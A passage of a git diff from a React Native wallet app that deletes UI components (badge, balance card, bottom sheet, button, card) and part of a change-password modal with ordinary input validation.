{uploadedImageUri && (
<View style={styles.uploadedPreview}>
<Image source={{ uri: uploadedImageUri }} style={styles.uploadedImage} />
<TouchableOpacity
style={styles.removeUploadButton}
onPress={() => setUploadedImageUri(null)}
>
<Text style={styles.removeUploadText}>✕</Text>
</TouchableOpacity>
</View>
)}
</View>
{/* Divider */}
<View style={styles.divider}>
<View style={styles.dividerLine} />
<Text style={styles.dividerText}>OR CHOOSE FROM POOL</Text>
<View style={styles.dividerLine} />
</View>
{/* Avatar Grid */}
<ScrollView style={styles.avatarScroll} showsVerticalScrollIndicator={false}>
<View style={styles.avatarGrid}>
{AVATAR_POOL.map((avatar) => (
<TouchableOpacity
key={avatar.id}
style={[
styles.avatarOption,
selectedAvatar === avatar.id && styles.avatarOptionSelected,
]}
onPress={() => handleAvatarSelect(avatar.id)}
>
<Text style={styles.avatarEmoji}>{avatar.emoji}</Text>
{selectedAvatar === avatar.id && (
<View style={styles.selectedBadge}>
<Text style={styles.selectedBadgeText}>✓</Text>
</View>
)}
</TouchableOpacity>
))}
</View>
</ScrollView>
{/* Footer Actions */}
<View style={styles.modalFooter}>
<TouchableOpacity
style={styles.cancelButton}
onPress={onClose}
disabled={isSaving}
>
<Text style={styles.cancelButtonText}>Cancel</Text>
</TouchableOpacity>
<TouchableOpacity
style={[styles.saveButton, isSaving && styles.saveButtonDisabled]}
onPress={handleSave}
disabled={isSaving}
>
{isSaving ? (
<ActivityIndicator color={KurdistanColors.spi} size="small" />
) : (
<Text style={styles.saveButtonText}>Save Avatar</Text>
)}
</TouchableOpacity>
</View>
</View>
</View>
</Modal>
);
};
const styles = StyleSheet.create({
modalOverlay: {
flex: 1,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
justifyContent: 'flex-end',
},
modalContainer: {
backgroundColor: KurdistanColors.spi,
borderTopLeftRadius: 24,
borderTopRightRadius: 24,
maxHeight: '80%',
paddingBottom: 20,
},
modalHeader: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
padding: 20,
borderBottomWidth: 1,
borderBottomColor: '#E0E0E0',
},
modalTitle: {
fontSize: 20,
fontWeight: 'bold',
color: KurdistanColors.reş,
},
closeButton: {
width: 32,
height: 32,
borderRadius: 16,
backgroundColor: '#F0F0F0',
justifyContent: 'center',
alignItems: 'center',
},
closeButtonText: {
fontSize: 18,
color: '#666',
},
avatarScroll: {
padding: 20,
},
avatarGrid: {
flexDirection: 'row',
flexWrap: 'wrap',
justifyContent: 'space-between',
},
avatarOption: {
width: '22%',
aspectRatio: 1,
backgroundColor: '#F8F9FA',
borderRadius: 16,
justifyContent: 'center',
alignItems: 'center',
marginBottom: 12,
borderWidth: 3,
borderColor: 'transparent',
},
avatarOptionSelected: {
borderColor: KurdistanColors.kesk,
backgroundColor: '#E8F5E9',
},
avatarEmoji: {
fontSize: 36,
},
selectedBadge: {
position: 'absolute',
top: -4,
right: -4,
width: 24,
height: 24,
borderRadius: 12,
backgroundColor: KurdistanColors.kesk,
justifyContent: 'center',
alignItems: 'center',
},
selectedBadgeText: {
fontSize: 14,
color: KurdistanColors.spi,
fontWeight: 'bold',
},
modalFooter: {
flexDirection: 'row',
paddingHorizontal: 20,
paddingTop: 16,
gap: 12,
},
cancelButton: {
flex: 1,
padding: 16,
borderRadius: 12,
backgroundColor: '#F0F0F0',
alignItems: 'center',
},
cancelButtonText: {
fontSize: 16,
fontWeight: '600',
color: '#666',
},
saveButton: {
flex: 1,
padding: 16,
borderRadius: 12,
backgroundColor: KurdistanColors.kesk,
alignItems: 'center',
},
saveButtonDisabled: {
opacity: 0.6,
},
saveButtonText: {
fontSize: 16,
fontWeight: 'bold',
color: KurdistanColors.spi,
},
uploadSection: {
paddingHorizontal: 20,
paddingVertical: 16,
borderBottomWidth: 1,
borderBottomColor: '#E0E0E0',
},
uploadButton: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'center',
backgroundColor: KurdistanColors.kesk,
paddingVertical: 14,
paddingHorizontal: 20,
borderRadius: 12,
gap: 8,
},
uploadButtonDisabled: {
opacity: 0.6,
},
uploadButtonIcon: {
fontSize: 20,
},
uploadButtonText: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.spi,
},
uploadedPreview: {
marginTop: 12,
alignItems: 'center',
position: 'relative',
},
uploadedImage: {
width: 100,
height: 100,
borderRadius: 50,
borderWidth: 3,
borderColor: KurdistanColors.kesk,
},
removeUploadButton: {
position: 'absolute',
top: -4,
right: '38%',
width: 28,
height: 28,
borderRadius: 14,
backgroundColor: KurdistanColors.sor,
justifyContent: 'center',
alignItems: 'center',
shadowColor: '#000',
shadowOffset: { width: 0, height: 2 },
shadowOpacity: 0.3,
shadowRadius: 3,
elevation: 4,
},
removeUploadText: {
color: KurdistanColors.spi,
fontSize: 14,
fontWeight: 'bold',
},
divider: {
flexDirection: 'row',
alignItems: 'center',
paddingHorizontal: 20,
paddingVertical: 16,
},
dividerLine: {
flex: 1,
height: 1,
backgroundColor: '#E0E0E0',
},
dividerText: {
fontSize: 11,
fontWeight: '600',
color: '#999',
marginHorizontal: 12,
letterSpacing: 0.5,
},
});
export default AvatarPickerModal;
-118
View File
@@ -1,118 +0,0 @@
import React from 'react';
import { View, Text, StyleSheet, ViewStyle } from 'react-native';
import { KurdistanColors } from '../theme/colors';
interface BadgeProps {
label?: string;
children?: React.ReactNode;
variant?: 'primary' | 'secondary' | 'success' | 'warning' | 'danger' | 'info' | 'error';
size?: 'small' | 'medium' | 'large';
style?: ViewStyle;
icon?: React.ReactNode;
testID?: string;
}
/**
* Badge Component
* For tiki roles, status indicators, labels
*/
export const Badge: React.FC<BadgeProps> = ({
label,
children,
variant = 'primary',
size = 'medium',
style,
icon,
testID,
}) => {
const content = label || children;
return (
<View testID={testID} style={[styles.badge, styles[variant], styles[`${size}Size`], style]}>
{icon}
<Text style={[styles.text, styles[`${variant}Text`], styles[`${size}Text`]]}>
{content}
</Text>
</View>
);
};
const styles = StyleSheet.create({
badge: {
flexDirection: 'row',
alignItems: 'center',
borderRadius: 20,
paddingHorizontal: 12,
paddingVertical: 6,
gap: 4,
},
// Variants
primary: {
backgroundColor: `${KurdistanColors.kesk}15`,
},
secondary: {
backgroundColor: `${KurdistanColors.zer}15`,
},
success: {
backgroundColor: '#10B98115',
},
warning: {
backgroundColor: `${KurdistanColors.zer}20`,
},
danger: {
backgroundColor: `${KurdistanColors.sor}15`,
},
error: {
backgroundColor: `${KurdistanColors.sor}15`,
},
info: {
backgroundColor: '#3B82F615',
},
// Sizes
smallSize: {
paddingHorizontal: 8,
paddingVertical: 4,
},
mediumSize: {
paddingHorizontal: 12,
paddingVertical: 6,
},
largeSize: {
paddingHorizontal: 16,
paddingVertical: 8,
},
// Text styles
text: {
fontWeight: '600',
},
primaryText: {
color: KurdistanColors.kesk,
},
secondaryText: {
color: '#855D00',
},
successText: {
color: '#10B981',
},
warningText: {
color: '#D97706',
},
dangerText: {
color: KurdistanColors.sor,
},
errorText: {
color: KurdistanColors.sor,
},
infoText: {
color: '#3B82F6',
},
smallText: {
fontSize: 11,
},
mediumText: {
fontSize: 13,
},
largeText: {
fontSize: 15,
},
});
-117
View File
@@ -1,117 +0,0 @@
import React from 'react';
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
import { TokenIcon } from './TokenIcon';
import { KurdistanColors } from '../theme/colors';
interface BalanceCardProps {
symbol: string;
name: string;
balance: string;
value?: string;
change?: string;
onPress?: () => void;
}
export const BalanceCard: React.FC<BalanceCardProps> = ({
symbol,
name,
balance,
value,
change,
onPress,
}) => {
const changeValue = parseFloat(change || '0');
const isPositive = changeValue >= 0;
return (
<TouchableOpacity
style={styles.container}
onPress={onPress}
disabled={!onPress}
activeOpacity={0.7}
>
<View style={styles.row}>
<TokenIcon symbol={symbol} size={40} />
<View style={styles.info}>
<View style={styles.nameRow}>
<Text style={styles.symbol}>{symbol}</Text>
<Text style={styles.balance}>{balance}</Text>
</View>
<View style={styles.detailsRow}>
<Text style={styles.name}>{name}</Text>
{value && <Text style={styles.value}>{value}</Text>}
</View>
</View>
</View>
{change && (
<View style={styles.changeContainer}>
<Text
style={[
styles.change,
{ color: isPositive ? KurdistanColors.kesk : KurdistanColors.sor },
]}
>
{isPositive ? '+' : ''}
{change}
</Text>
</View>
)}
</TouchableOpacity>
);
};
const styles = StyleSheet.create({
container: {
backgroundColor: '#FFFFFF',
padding: 16,
borderRadius: 12,
marginBottom: 12,
boxShadow: '0px 2px 4px rgba(0, 0, 0, 0.1)',
elevation: 3,
},
row: {
flexDirection: 'row',
alignItems: 'center',
},
info: {
flex: 1,
marginLeft: 12,
},
nameRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 4,
},
symbol: {
fontSize: 18,
fontWeight: '700',
color: '#000',
},
balance: {
fontSize: 18,
fontWeight: '600',
color: '#000',
},
detailsRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
},
name: {
fontSize: 14,
color: '#666',
},
value: {
fontSize: 14,
color: '#666',
},
changeContainer: {
marginTop: 8,
alignItems: 'flex-end',
},
change: {
fontSize: 12,
fontWeight: '600',
},
});
-120
View File
@@ -1,120 +0,0 @@
import React from 'react';
import { View, Text, StyleSheet, TouchableOpacity } from 'react-native';
import { TokenIcon } from './TokenIcon';
import { KurdistanColors } from '../theme/colors';
interface BalanceCardProps {
symbol: string;
name: string;
balance: string;
value?: string;
change?: string;
onPress?: () => void;
}
export const BalanceCard: React.FC<BalanceCardProps> = ({
symbol,
name,
balance,
value,
change,
onPress,
}) => {
const changeValue = parseFloat(change || '0');
const isPositive = changeValue >= 0;
return (
<TouchableOpacity
style={styles.container}
onPress={onPress}
disabled={!onPress}
activeOpacity={0.7}
>
<View style={styles.row}>
<TokenIcon symbol={symbol} size={40} />
<View style={styles.info}>
<View style={styles.nameRow}>
<Text style={styles.symbol}>{symbol}</Text>
<Text style={styles.balance}>{balance}</Text>
</View>
<View style={styles.detailsRow}>
<Text style={styles.name}>{name}</Text>
{value && <Text style={styles.value}>{value}</Text>}
</View>
</View>
</View>
{change && (
<View style={styles.changeContainer}>
<Text
style={[
styles.change,
{ color: isPositive ? KurdistanColors.kesk : KurdistanColors.sor },
]}
>
{isPositive ? '+' : ''}
{change}
</Text>
</View>
)}
</TouchableOpacity>
);
};
const styles = StyleSheet.create({
container: {
backgroundColor: '#FFFFFF',
padding: 16,
borderRadius: 12,
marginBottom: 12,
shadowColor: '#000',
shadowOffset: { width: 0, height: 2 },
shadowOpacity: 0.1,
shadowRadius: 4,
elevation: 3,
},
row: {
flexDirection: 'row',
alignItems: 'center',
},
info: {
flex: 1,
marginLeft: 12,
},
nameRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
marginBottom: 4,
},
symbol: {
fontSize: 18,
fontWeight: '700',
color: '#000',
},
balance: {
fontSize: 18,
fontWeight: '600',
color: '#000',
},
detailsRow: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
},
name: {
fontSize: 14,
color: '#666',
},
value: {
fontSize: 14,
color: '#666',
},
changeContainer: {
marginTop: 8,
alignItems: 'flex-end',
},
change: {
fontSize: 12,
fontWeight: '600',
},
});
-162
View File
@@ -1,162 +0,0 @@
import React, { useEffect, useRef } from 'react';
import {
View,
Text,
Modal,
Animated,
Pressable,
StyleSheet,
Dimensions,
PanResponder,
} from 'react-native';
import { AppColors } from '../theme/colors';
const { height: SCREEN_HEIGHT } = Dimensions.get('window');
interface BottomSheetProps {
visible: boolean;
onClose: () => void;
title?: string;
children: React.ReactNode;
height?: number;
showHandle?: boolean;
}
/**
* Modern Bottom Sheet Component
* Swipe to dismiss, smooth animations
*/
export const BottomSheet: React.FC<BottomSheetProps> = ({
visible,
onClose,
title,
children,
height = SCREEN_HEIGHT * 0.6,
showHandle = true,
}) => {
const translateY = useRef(new Animated.Value(height)).current;
const panResponder = useRef(
PanResponder.create({
onStartShouldSetPanResponder: () => true,
onMoveShouldSetPanResponder: (_, gestureState) => {
return gestureState.dy > 5;
},
onPanResponderMove: (_, gestureState) => {
if (gestureState.dy > 0) {
translateY.setValue(gestureState.dy);
}
},
onPanResponderRelease: (_, gestureState) => {
if (gestureState.dy > 100) {
closeSheet();
} else {
Animated.spring(translateY, {
toValue: 0,
useNativeDriver: true,
}).start();
}
},
})
).current;
const openSheet = React.useCallback(() => {
Animated.spring(translateY, {
toValue: 0,
useNativeDriver: true,
damping: 20,
}).start();
}, [translateY]);
useEffect(() => {
if (visible) {
openSheet();
}
}, [visible, openSheet]);
const closeSheet = () => {
Animated.timing(translateY, {
toValue: height,
duration: 250,
useNativeDriver: true,
}).start(() => {
onClose();
});
};
return (
<Modal
visible={visible}
transparent
animationType="fade"
onRequestClose={closeSheet}
>
<View style={styles.overlay}>
<Pressable style={styles.backdrop} onPress={closeSheet} />
<Animated.View
style={[
styles.sheet,
{ height, transform: [{ translateY }] },
]}
{...panResponder.panHandlers}
>
{showHandle && (
<View style={styles.handleContainer}>
<View style={styles.handle} />
</View>
)}
{title && (
<View style={styles.header}>
<Text style={styles.title}>{title}</Text>
</View>
)}
<View style={styles.content}>{children}</View>
</Animated.View>
</View>
</Modal>
);
};
const styles = StyleSheet.create({
overlay: {
flex: 1,
justifyContent: 'flex-end',
},
backdrop: {
...StyleSheet.absoluteFillObject,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
},
sheet: {
backgroundColor: AppColors.surface,
borderTopLeftRadius: 24,
borderTopRightRadius: 24,
paddingBottom: 34, // Safe area
boxShadow: '0px -4px 12px rgba(0, 0, 0, 0.15)',
elevation: 20,
},
handleContainer: {
alignItems: 'center',
paddingTop: 12,
paddingBottom: 8,
},
handle: {
width: 40,
height: 4,
borderRadius: 2,
backgroundColor: AppColors.border,
},
header: {
paddingHorizontal: 20,
paddingVertical: 16,
borderBottomWidth: 1,
borderBottomColor: AppColors.border,
},
title: {
fontSize: 20,
fontWeight: '700',
color: AppColors.text,
},
content: {
flex: 1,
padding: 20,
},
});
-165
View File
@@ -1,165 +0,0 @@
import React, { useEffect, useRef } from 'react';
import {
View,
Text,
Modal,
Animated,
Pressable,
StyleSheet,
Dimensions,
PanResponder,
} from 'react-native';
import { AppColors } from '../theme/colors';
const { height: SCREEN_HEIGHT } = Dimensions.get('window');
interface BottomSheetProps {
visible: boolean;
onClose: () => void;
title?: string;
children: React.ReactNode;
height?: number;
showHandle?: boolean;
}
/**
* Modern Bottom Sheet Component
* Swipe to dismiss, smooth animations
*/
export const BottomSheet: React.FC<BottomSheetProps> = ({
visible,
onClose,
title,
children,
height = SCREEN_HEIGHT * 0.6,
showHandle = true,
}) => {
const translateY = useRef(new Animated.Value(height)).current;
const panResponder = useRef(
PanResponder.create({
onStartShouldSetPanResponder: () => true,
onMoveShouldSetPanResponder: (_, gestureState) => {
return gestureState.dy > 5;
},
onPanResponderMove: (_, gestureState) => {
if (gestureState.dy > 0) {
translateY.setValue(gestureState.dy);
}
},
onPanResponderRelease: (_, gestureState) => {
if (gestureState.dy > 100) {
closeSheet();
} else {
Animated.spring(translateY, {
toValue: 0,
useNativeDriver: true,
}).start();
}
},
})
).current;
const openSheet = React.useCallback(() => {
Animated.spring(translateY, {
toValue: 0,
useNativeDriver: true,
damping: 20,
}).start();
}, [translateY]);
useEffect(() => {
if (visible) {
openSheet();
}
}, [visible, openSheet]);
const closeSheet = () => {
Animated.timing(translateY, {
toValue: height,
duration: 250,
useNativeDriver: true,
}).start(() => {
onClose();
});
};
return (
<Modal
visible={visible}
transparent
animationType="fade"
onRequestClose={closeSheet}
>
<View style={styles.overlay}>
<Pressable style={styles.backdrop} onPress={closeSheet} />
<Animated.View
style={[
styles.sheet,
{ height, transform: [{ translateY }] },
]}
{...panResponder.panHandlers}
>
{showHandle && (
<View style={styles.handleContainer}>
<View style={styles.handle} />
</View>
)}
{title && (
<View style={styles.header}>
<Text style={styles.title}>{title}</Text>
</View>
)}
<View style={styles.content}>{children}</View>
</Animated.View>
</View>
</Modal>
);
};
const styles = StyleSheet.create({
overlay: {
flex: 1,
justifyContent: 'flex-end',
},
backdrop: {
...StyleSheet.absoluteFillObject,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
},
sheet: {
backgroundColor: AppColors.surface,
borderTopLeftRadius: 24,
borderTopRightRadius: 24,
paddingBottom: 34, // Safe area
shadowColor: '#000',
shadowOffset: { width: 0, height: -4 },
shadowOpacity: 0.15,
shadowRadius: 12,
elevation: 20,
},
handleContainer: {
alignItems: 'center',
paddingTop: 12,
paddingBottom: 8,
},
handle: {
width: 40,
height: 4,
borderRadius: 2,
backgroundColor: AppColors.border,
},
header: {
paddingHorizontal: 20,
paddingVertical: 16,
borderBottomWidth: 1,
borderBottomColor: AppColors.border,
},
title: {
fontSize: 20,
fontWeight: '700',
color: AppColors.text,
},
content: {
flex: 1,
padding: 20,
},
});
-179
View File
@@ -1,179 +0,0 @@
import React from 'react';
import {
Pressable,
Text,
StyleSheet,
ActivityIndicator,
ViewStyle,
TextStyle,
} from 'react-native';
import { AppColors, KurdistanColors } from '../theme/colors';
interface ButtonProps {
title: string;
onPress: () => void;
variant?: 'primary' | 'secondary' | 'outline' | 'ghost' | 'danger';
size?: 'small' | 'medium' | 'large';
loading?: boolean;
disabled?: boolean;
fullWidth?: boolean;
style?: ViewStyle;
textStyle?: TextStyle;
icon?: React.ReactNode;
testID?: string;
}
/**
* Modern Button Component
* Uses Kurdistan colors for primary branding
*/
export const Button: React.FC<ButtonProps> = ({
title,
onPress,
variant = 'primary',
size = 'medium',
loading = false,
disabled = false,
fullWidth = false,
style,
textStyle,
icon,
testID,
}) => {
const isDisabled = disabled || loading;
const buttonStyle = [
styles.base,
styles[variant],
styles[`${size}Size`],
fullWidth && styles.fullWidth,
isDisabled && styles.disabled,
style,
];
const textStyles = [
styles.text,
styles[`${variant}Text`],
styles[`${size}Text`],
isDisabled && styles.disabledText,
textStyle,
];
return (
<Pressable
testID={testID}
onPress={onPress}
disabled={isDisabled}
style={({ pressed }) => [
...buttonStyle,
pressed && !isDisabled && styles.pressed,
]}
>
{loading ? (
<ActivityIndicator
color={variant === 'primary' || variant === 'danger' ? '#FFFFFF' : AppColors.primary}
/>
) : (
<>
{icon}
<Text style={textStyles}>{title}</Text>
</>
)}
</Pressable>
);
};
const styles = StyleSheet.create({
base: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'center',
borderRadius: 12,
paddingHorizontal: 24,
paddingVertical: 12,
},
// Variants
primary: {
backgroundColor: KurdistanColors.kesk,
boxShadow: '0px 4px 8px rgba(0, 128, 0, 0.3)',
elevation: 4,
},
secondary: {
backgroundColor: KurdistanColors.zer,
boxShadow: '0px 4px 6px rgba(255, 215, 0, 0.2)',
elevation: 3,
},
outline: {
backgroundColor: 'transparent',
borderWidth: 2,
borderColor: KurdistanColors.kesk,
},
ghost: {
backgroundColor: 'transparent',
},
danger: {
backgroundColor: KurdistanColors.sor,
boxShadow: '0px 4px 8px rgba(255, 0, 0, 0.3)',
elevation: 4,
},
// Sizes
smallSize: {
paddingHorizontal: 16,
paddingVertical: 8,
borderRadius: 8,
},
mediumSize: {
paddingHorizontal: 24,
paddingVertical: 12,
borderRadius: 12,
},
largeSize: {
paddingHorizontal: 32,
paddingVertical: 16,
borderRadius: 16,
},
fullWidth: {
width: '100%',
},
disabled: {
opacity: 0.5,
boxShadow: 'none',
elevation: 0,
},
pressed: {
opacity: 0.8,
transform: [{ scale: 0.97 }],
},
// Text styles
text: {
fontWeight: '600',
textAlign: 'center',
},
primaryText: {
color: '#FFFFFF',
},
secondaryText: {
color: '#000000',
},
outlineText: {
color: KurdistanColors.kesk,
},
ghostText: {
color: KurdistanColors.kesk,
},
dangerText: {
color: '#FFFFFF',
},
smallText: {
fontSize: 14,
},
mediumText: {
fontSize: 16,
},
largeText: {
fontSize: 18,
},
disabledText: {
opacity: 0.7,
},
});
-188
View File
@@ -1,188 +0,0 @@
import React from 'react';
import {
Pressable,
Text,
StyleSheet,
ActivityIndicator,
ViewStyle,
TextStyle,
} from 'react-native';
import { AppColors, KurdistanColors } from '../theme/colors';
interface ButtonProps {
title: string;
onPress: () => void;
variant?: 'primary' | 'secondary' | 'outline' | 'ghost' | 'danger';
size?: 'small' | 'medium' | 'large';
loading?: boolean;
disabled?: boolean;
fullWidth?: boolean;
style?: ViewStyle;
textStyle?: TextStyle;
icon?: React.ReactNode;
testID?: string;
}
/**
* Modern Button Component
* Uses Kurdistan colors for primary branding
*/
export const Button: React.FC<ButtonProps> = ({
title,
onPress,
variant = 'primary',
size = 'medium',
loading = false,
disabled = false,
fullWidth = false,
style,
textStyle,
icon,
testID,
}) => {
const isDisabled = disabled || loading;
const buttonStyle = [
styles.base,
styles[variant],
styles[`${size}Size`],
fullWidth && styles.fullWidth,
isDisabled && styles.disabled,
style,
];
const textStyles = [
styles.text,
styles[`${variant}Text`],
styles[`${size}Text`],
isDisabled && styles.disabledText,
textStyle,
];
return (
<Pressable
testID={testID}
onPress={onPress}
disabled={isDisabled}
style={({ pressed }) => [
...buttonStyle,
pressed && !isDisabled && styles.pressed,
]}
>
{loading ? (
<ActivityIndicator
color={variant === 'primary' || variant === 'danger' ? '#FFFFFF' : AppColors.primary}
/>
) : (
<>
{icon}
<Text style={textStyles}>{title}</Text>
</>
)}
</Pressable>
);
};
const styles = StyleSheet.create({
base: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'center',
borderRadius: 12,
paddingHorizontal: 24,
paddingVertical: 12,
},
// Variants
primary: {
backgroundColor: KurdistanColors.kesk,
shadowColor: KurdistanColors.kesk,
shadowOffset: { width: 0, height: 4 },
shadowOpacity: 0.3,
shadowRadius: 8,
elevation: 4,
},
secondary: {
backgroundColor: KurdistanColors.zer,
shadowColor: KurdistanColors.zer,
shadowOffset: { width: 0, height: 4 },
shadowOpacity: 0.2,
shadowRadius: 6,
elevation: 3,
},
outline: {
backgroundColor: 'transparent',
borderWidth: 2,
borderColor: KurdistanColors.kesk,
},
ghost: {
backgroundColor: 'transparent',
},
danger: {
backgroundColor: KurdistanColors.sor,
shadowColor: KurdistanColors.sor,
shadowOffset: { width: 0, height: 4 },
shadowOpacity: 0.3,
shadowRadius: 8,
elevation: 4,
},
// Sizes
smallSize: {
paddingHorizontal: 16,
paddingVertical: 8,
borderRadius: 8,
},
mediumSize: {
paddingHorizontal: 24,
paddingVertical: 12,
borderRadius: 12,
},
largeSize: {
paddingHorizontal: 32,
paddingVertical: 16,
borderRadius: 16,
},
fullWidth: {
width: '100%',
},
disabled: {
opacity: 0.5,
shadowOpacity: 0,
elevation: 0,
},
pressed: {
opacity: 0.8,
transform: [{ scale: 0.97 }],
},
// Text styles
text: {
fontWeight: '600',
textAlign: 'center',
},
primaryText: {
color: '#FFFFFF',
},
secondaryText: {
color: '#000000',
},
outlineText: {
color: KurdistanColors.kesk,
},
ghostText: {
color: KurdistanColors.kesk,
},
dangerText: {
color: '#FFFFFF',
},
smallText: {
fontSize: 14,
},
mediumText: {
fontSize: 16,
},
largeText: {
fontSize: 18,
},
disabledText: {
opacity: 0.7,
},
});
-98
View File
@@ -1,98 +0,0 @@
import React from 'react';
import { View, StyleSheet, ViewStyle, Pressable, Text } from 'react-native';
import { AppColors } from '../theme/colors';
interface CardProps {
children: React.ReactNode;
title?: string;
style?: ViewStyle;
onPress?: () => void;
variant?: 'elevated' | 'outlined' | 'filled';
testID?: string;
elevation?: number;
}
/**
* Modern Card Component
* Inspired by Material Design 3 and Kurdistan aesthetics
*/
export const Card: React.FC<CardProps> = ({
children,
title,
style,
onPress,
variant = 'elevated',
testID,
elevation,
}) => {
const cardStyle = [
styles.card,
variant === 'elevated' && styles.elevated,
variant === 'outlined' && styles.outlined,
variant === 'filled' && styles.filled,
elevation && { elevation },
style,
];
const content = (
<>
{title && <Text style={styles.title}>{title}</Text>}
{children}
</>
);
if (onPress) {
return (
<Pressable
testID={testID}
onPress={onPress}
style={({ pressed }) => [
styles.card,
variant === 'elevated' && styles.elevated,
variant === 'outlined' && styles.outlined,
variant === 'filled' && styles.filled,
elevation ? { elevation } : null,
style,
pressed && styles.pressed,
]}
>
{content}
</Pressable>
);
}
return <View testID={testID} style={cardStyle as ViewStyle[]}>{content}</View>;
};
const styles = StyleSheet.create({
card: {
borderRadius: 16,
padding: 16,
backgroundColor: AppColors.surface,
},
title: {
fontSize: 18,
fontWeight: '600',
color: AppColors.text,
marginBottom: 12,
},
elevated: {
boxShadow: '0px 2px 8px rgba(0, 0, 0, 0.1)',
elevation: 4,
},
outlined: {
borderWidth: 1,
borderColor: AppColors.border,
boxShadow: 'none',
elevation: 0,
},
filled: {
backgroundColor: AppColors.background,
boxShadow: 'none',
elevation: 0,
},
pressed: {
opacity: 0.7,
transform: [{ scale: 0.98 }],
},
});
-96
View File
@@ -1,96 +0,0 @@
import React from 'react';
import { View, StyleSheet, ViewStyle, Pressable, Text } from 'react-native';
import { AppColors } from '../theme/colors';
interface CardProps {
children: React.ReactNode;
title?: string;
style?: ViewStyle;
onPress?: () => void;
variant?: 'elevated' | 'outlined' | 'filled';
testID?: string;
elevation?: number;
}
/**
* Modern Card Component
* Inspired by Material Design 3 and Kurdistan aesthetics
*/
export const Card: React.FC<CardProps> = ({
children,
title,
style,
onPress,
variant = 'elevated',
testID,
elevation,
}) => {
const cardStyle = [
styles.card,
variant === 'elevated' && styles.elevated,
variant === 'outlined' && styles.outlined,
variant === 'filled' && styles.filled,
elevation && { elevation },
style,
];
const content = (
<>
{title && <Text style={styles.title}>{title}</Text>}
{children}
</>
);
if (onPress) {
return (
<Pressable
testID={testID}
onPress={onPress}
style={({ pressed }) => [
...cardStyle,
pressed && styles.pressed,
]}
>
{content}
</Pressable>
);
}
return <View testID={testID} style={cardStyle}>{content}</View>;
};
const styles = StyleSheet.create({
card: {
borderRadius: 16,
padding: 16,
backgroundColor: AppColors.surface,
},
title: {
fontSize: 18,
fontWeight: '600',
color: AppColors.text,
marginBottom: 12,
},
elevated: {
shadowColor: '#000',
shadowOffset: { width: 0, height: 2 },
shadowOpacity: 0.1,
shadowRadius: 8,
elevation: 4,
},
outlined: {
borderWidth: 1,
borderColor: AppColors.border,
shadowOpacity: 0,
elevation: 0,
},
filled: {
backgroundColor: AppColors.background,
shadowOpacity: 0,
elevation: 0,
},
pressed: {
opacity: 0.7,
transform: [{ scale: 0.98 }],
},
});
@@ -1,348 +0,0 @@
import React, { useState } from 'react';
import {
Modal,
View,
Text,
TextInput,
TouchableOpacity,
StyleSheet,
Alert,
ActivityIndicator,
} from 'react-native';
import { KurdistanColors } from '../theme/colors';
import { useTheme } from '../contexts/ThemeContext';
import { useAuth } from '../contexts/AuthContext';
interface ChangePasswordModalProps {
visible: boolean;
onClose: () => void;
}
const ChangePasswordModal: React.FC<ChangePasswordModalProps> = ({
visible,
onClose,
}) => {
const { colors } = useTheme();
const { changePassword, resetPassword, user } = useAuth();
const [currentPassword, setCurrentPassword] = useState('');
const [newPassword, setNewPassword] = useState('');
const [confirmPassword, setConfirmPassword] = useState('');
const [loading, setLoading] = useState(false);
const handleSubmit = async () => {
// Validation
if (!currentPassword) {
Alert.alert('Error', 'Please enter your current password');
return;
}
if (!newPassword || newPassword.length < 6) {
Alert.alert('Error', 'New password must be at least 6 characters long');
return;
}
if (newPassword !== confirmPassword) {
Alert.alert('Error', 'Passwords do not match');
return;
}
if (currentPassword === newPassword) {
Alert.alert('Error', 'New password must be different from current password');
return;
}
setLoading(true);
// First verify current password by re-authenticating
const { error: verifyError } = await changePassword(newPassword, currentPassword);
setLoading(false);
if (verifyError) {
Alert.alert('Error', verifyError.message || 'Failed to change password');
} else {
Alert.alert('Success', 'Password changed successfully');
setCurrentPassword('');
setNewPassword('');
setConfirmPassword('');
onClose();
}
};
const handleClose = () => {
setCurrentPassword('');
setNewPassword('');
setConfirmPassword('');
onClose();
};
const handleForgotPassword = () => {
if (!user?.email) {
Alert.alert('Error', 'No email address found for this account');
return;
}
Alert.alert(
'Reset Password',
`A password reset link will be sent to ${user.email}`,
[
{ text: 'Cancel', style: 'cancel' },
{
text: 'Send Reset Link',
onPress: async () => {
const { error } = await resetPassword(user.email!);
if (error) {
Alert.alert('Error', error.message || 'Failed to send reset email');
} else {
Alert.alert('Success', 'Password reset link sent to your email. Please check your inbox.');
handleClose();
}
},
},
]
);
};
const styles = createStyles(colors);
return (
<Modal
visible={visible}
animationType="fade"
transparent={true}
onRequestClose={handleClose}
>
<View style={styles.overlay}>
<View style={styles.container}>
{/* Header */}
<View style={styles.header}>
<Text style={styles.headerTitle}>Change Password</Text>
<TouchableOpacity onPress={handleClose} style={styles.closeButton}>
<Text style={styles.closeButtonText}></Text>
</TouchableOpacity>
</View>
{/* Content */}
<View style={styles.content}>
<Text style={styles.description}>
To change your password, first enter your current password, then your new password.
</Text>
<View style={styles.inputContainer}>
<Text style={styles.label}>Current Password</Text>
<TextInput
style={styles.input}
value={currentPassword}
onChangeText={setCurrentPassword}
placeholder="Enter current password"
placeholderTextColor={colors.textSecondary}
secureTextEntry
autoCapitalize="none"
editable={!loading}
/>
</View>
<View style={styles.inputContainer}>
<Text style={styles.label}>New Password</Text>
<TextInput
style={styles.input}
value={newPassword}
onChangeText={setNewPassword}
placeholder="Enter new password"
placeholderTextColor={colors.textSecondary}
secureTextEntry
autoCapitalize="none"
editable={!loading}
/>
</View>
<View style={styles.inputContainer}>
<Text style={styles.label}>Confirm Password</Text>
<TextInput
style={styles.input}
value={confirmPassword}
onChangeText={setConfirmPassword}
placeholder="Confirm new password"
placeholderTextColor={colors.textSecondary}
secureTextEntry
autoCapitalize="none"
editable={!loading}
/>
</View>
{newPassword.length > 0 && newPassword.length < 6 && (
